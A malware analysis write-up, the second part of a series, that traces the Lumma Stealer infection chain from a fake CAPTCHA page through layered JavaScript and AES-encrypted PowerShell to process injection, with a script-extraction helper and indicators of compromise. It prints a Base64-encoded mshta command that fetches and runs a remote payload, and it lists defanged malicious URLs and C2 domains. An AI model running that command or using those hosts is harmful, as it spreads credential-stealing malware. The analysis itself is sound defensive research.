Dissecting Lumma Malware: Analyzing the Fake CAPTCHA and Obfuscation Techniques - Part 2

Dissecting Lumma Malware: Analyzing the Fake CAPTCHA and Obfuscation Techniques - Part 2

In Part 1 of our series on Lumma Stealer, we explored the initial attack vector through a fake CAPTCHA page. We observed how the malware deceives users into downloading and executing malicious payloads. In this second series, we delve deeper into the technical details of the Lumma Stealer’s loader, focusing on its obfuscation techniques and how it ultimately executes its payload. This analysis will cover how we decode obfuscated JavaScript and PowerShell code, and how we identify and analyze the malicious activities carried out by the malware.

Retrieving and Analyzing the Lumma Loader

After the initial infection is established through the fake CAPTCHA page, we analyze the Lumma Stealer loader. The loader is delivered via the following URL:

hxxps[:]//human-check.b-cdn[.]net/verify-captcha-v7[.]html

By analyzing the payload retrieved through mshta, we start by decoding an encoded Base64 string using CyberChef:

Encoded Bas64 String:

bQBzAGgAdABhACAAIgBoAHQAdABwAHMAOgAvAC8AcABvAGsAbwAuAGIALQBjAGQAbgAuAG4AZQB0AC8AcABvAGsAbwAiAA==

Decoded Base64 string:

mshta "hxxps[://]poko[.]b-cdn[.]net/poko""

Examining the 'poko' File

The poko file downloaded from the URL is analyzed using Detect It Easy (DIE) to identify its properties:

  • File Type: PE file
  • Packer: No signs of packing detected

The file, detected as a PE (Portable Executable) file, shows no signs of packing. Since mshta processes HTA (HTML Application) files, we suspect that the downloaded binary may contain embedded JavaScript (JS) or VBScript. We search the binary for <script> tags using DIE’s Advanced mode:

Navigate to Resources in DIE > Filter for <script> tags

By filtering for <script> tags, we locate two sets of these tags. In the Resources tab, use the search functionality to find these <script> tags, which signal the presence of JavaScript code embedded within the binary.

Dumping JavaScript

There are three ways we can dump the embedded JS data.

Using Detect It Easy

To extract embedded JavaScript, we follow these steps in DIE. Right-clicking on a script tag and selecting "Follow in > Hex" shows us the hex and ASCII representation of the code, confirming that it’s JavaScript.

Looking at the right panel, we see some code inside. After analyzing the first script tag, we use the same approach for the second script tag found under 'strings'.

From the ASCII symbols, we can see that the script code is closing windows. Now that we have both sections, we can select all the hex values between the opening and closing script tags, copy them, and save them to a file. This will give us the JavaScript code.

Using HexedIT

HexedIT provides an intuitive graphical interface for extracting JavaScript. We open the binary in HexedIT and search for <script> tags with Ctrl + F.

>

We then select the data between these tags and save it to a new file.

Using a Custom Python Script

We can also use a custom Python script to automate the extraction of JavaScript from the binary. The script reads the binary, searches for <script> tags, and extracts the code between them. Here is a glimpse of the extracted code.

The first script tag contains code that assigns random numbers to different variables.

The second script utilizes the eval function to execute obfuscated code, which includes a window.close() function.

The following example Python script illustrates how this can be accomplished:

import sys
import re

def extract_scripts(binary_file):
    try:
        with open(binary_file, "rb") as f:
            binary_data = f.read()
        
        # Convert binary data to string (Assuming it's encoded in utf-8 or similar encoding)
        try:
            data = binary_data.decode("utf-8", errors='ignore')
        except UnicodeDecodeError:
            print("[-] Failed to decode binary data.")
            sys.exit(1)
        
        # Find all the script tag contents using regex
        scripts = re.findall(r'<script.*?>(.*?)</script>', data, re.DOTALL | re.IGNORECASE)
        
        if scripts:
            for i, script in enumerate(scripts, start=1):
                print(f"[+] Script {i}\n{script.strip()}\n")
        else:
            print("[-] No Script found.")
    
    except FileNotFoundError:
        print(f"[-] File {binary_file} not found.")
    except Exception as e:
        print(f"[-] An error occurred: {str(e)}")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python extract.py <binary_file>")
        sys.exit(1)
    
    binary_file = sys.argv[1]
    extract_scripts(binary_file)

Debugging the JavaScript

With the JavaScript code dumped, we now focus on deciphering the obfuscation.

First obfuscation

We can beautify the JavaScript code using an online formatter or CyberChef (Generic Code Beautify). This reveals the obfuscated sections more clearly, showing random variable assignments and functions.

After beautifying the code, we observe numerous numbers being assigned to various variables. Further down, we find a variable named PHF. This indicates that PHF holds the code passed to the second script via the eval function.

Using console.log(), we print the PHF variable to view another layer of obfuscation.

Second Obfuscation

Beautification of the next layer of code reveals that the zsi function processes an array of numbers by converting them into characters, which are then concatenated into a string.

We pass the final variables, Hkb and ZhX to console.log() to see the decoded data.

Third obfuscation

After obtaining the data, we see that it includes encoded PowerShell code. This PowerShell script processes several values that appear to be hex data and uses wscript to execute them.

The code also shows that it uses AES encryption, with the decryption key hardcoded into it.

Decrypting obfuscated code using CyberChef

With the main code and the AES decryption key in hand, we can use CyberChef to decrypt it. We input the key as hex into CyberChef and set the initialization vector (IV) value to "0000000000000000" (sixteen zeros). If no IV is provided, it defaults to null.

The IV value is set to sixteen zeros because the AES encryption algorithm requires an IV of a specific length to ensure secure encryption and decryption. For AES, the IV must match the block size of the algorithm, which is 128 bits or 16 bytes (16 zeros in hexadecimal representation).

Using a fixed IV, such as sixteen zeros, is common in certain situations, especially when the IV is not dynamically generated or when the encryption is designed to be simple or demonstrative. However, in secure practices, it's crucial to use a unique and random IV for each encryption operation to prevent predictable patterns and enhance security. In this context, the fixed IV is used because it was hardcoded into the decryption process, which may simplify the analysis but does not represent best practices for secure encryption.

From the CyberChef output, we obtain another PowerShell script. After beautifying the code, we can decipher its functionality. It begins with a function that handles binary data. The EkF function extracts the zip file and saves it to the temp directory. The QyY function obfuscates the URL by hiding characters behind numbers, and it contains the URL for downloading the zip file. The nzv function deobfuscates these numbers into a string. Finally, the YWy function manages error handling with if/else statements, checking if the file exists and downloading the zip file if it does not.

De-obfuscating PowerShell code

Since the code is in PowerShell, we can use the write-output function to read the values stored in the variables. We copy the nzv function, which handles the decryption of characters, and save the results to separate variables. Running the code reveals a URL, and we also see that it uses the native Windows Net.WebClient to download the file.

Downloaded zip file

We proceed by downloading and unzipping the file. Upon examining its contents, we find that it attempts to impersonate "Aeon Timeline."

hxxps[://]poko[.]b-cdn[.]net/wifi[.]zip

By performing static analysis with PEStudio, we gather more information about the file. The version details indicate that the installer is masquerading as a PC Cleaner application.

Using DIE, we also confirm that the application has been compiled with Go Language.

Dynamic analysis

After obtaining the binary, we proceed with dynamic analysis and find that the installer triggers BitLockerToGo upon installation.

Our earlier WireShark logs (Part 1) show that BitLockerToGo communicates with the C2 server once it starts. Confirming this behavior, we deduce that the malicious PE file (Aeon Timeline) performs process injection, injecting malicious processes into BitLockerToGo.

Dumping injected process

To dump the malicious process, we use "Hollows Hunter."

Hollows Hunter is a powerful tool used for detecting and analyzing process injection techniques in Windows environments. It specializes in identifying processes that have been injected with malicious code or exhibit suspicious behavior. By scanning running processes, Hollows Hunter can pinpoint injected code and dump it for further analysis. This tool is particularly valuable for uncovering sophisticated malware that hides its presence by injecting into legitimate processes. It provides security analysts with critical insights into malicious activities, helping them to understand and mitigate threats more effectively.

We first use Process Explorer to identify the Process ID (PID) of BitLockerToGo and pass it as a parameter to Hollows Hunter. The tool then detects the suspicious process and dumps the file.

Lumma C2

After dumping the file, we upload it to VirusTotal, where it is confirmed as Lumma Stealer.

Analyzing the file dumped by Hollows Hunter in DIE reveals that it is a Microsoft Linker file, with no signs of any packer being used.

As is customary with binary analysis, we search for hardcoded domains within the file. Noting that Lumma Stealer has recently been associated with '.shop.' domains, we use this as a filter and find a match.

futureddospzmvq[.]shop

We can also use Ghidra's search function to pinpoint the exact function that calls the C2 domain.

Summary

In this analysis, we thoroughly examined the Lumma Stealer malware's loader and payload, uncovering its intricate obfuscation techniques and malicious activities. By dissecting the initial infection vector through a fake CAPTCHA page and following the trail to the embedded PowerShell scripts, we detailed the steps involved in decoding the obfuscated code and understanding its functionality. Our dynamic analysis revealed that the malware, masquerading as a legitimate application, performs process injection to carry out its malicious operations.

Through tools like CyberChef, DIE, and Ghidra, we were able to decrypt, analyze, and identify the core components of the Lumma Stealer. Our findings confirm its operation and provide insights into its behavior and persistence mechanisms. This comprehensive investigation highlights the sophistication of modern malware and underscores the importance of detailed analysis to uncover and understand these threats.

IOC

File Hash
SHA256: fe236cf05365f3fafd7fdf2481cee9b9a5ff087e1ddc5b71fea1bb23b0c306db -> Injected Process

SHA256: fbef3b6316cd8cf77978c8eac780fe471654c0b5dbbc812e4e266475bde39dcc -> 0Aeon Timeline.exe

===================================================
URL:
hxxps[:]//human-check.b-cdn[.]net/verify-captcha-v7[.]html
hxxps[://]poko[.]b-cdn[.]net/wifi[.]zip

===================================================
C2:
bassizcellskz[.]shop
celebratioopz[.]shop
complaintsipzzx[.]shop
deallerospfosu[.]shop
futureddospzmvq[.]shop -> Found inside the binary
languagedscie[.]shop
mennyudosirso[.]shop
quialitsuzoxm[.]shop
writerospzm[.]shop

Reference:

How to pick an appropriate IV (Initialization Vector) for AES/CTR/NoPadding?
I would like to encrypt the cookies that are written by a webapp and I would like to keep the size of the cookies to minimum, hence the reason I picked AES/CTR/NoPadding. What would you recommend…
GitHub - hasherezade/hollows_hunter: Scans all running processes. Recognizes and dumps a variety of potentially malicious implants (replaced/implanted PEs, shellcodes, hooks, in-memory patches).
Scans all running processes. Recognizes and dumps a variety of potentially malicious implants (replaced/implanted PEs, shellcodes, hooks, in-memory patches). - hasherezade/hollows_hunter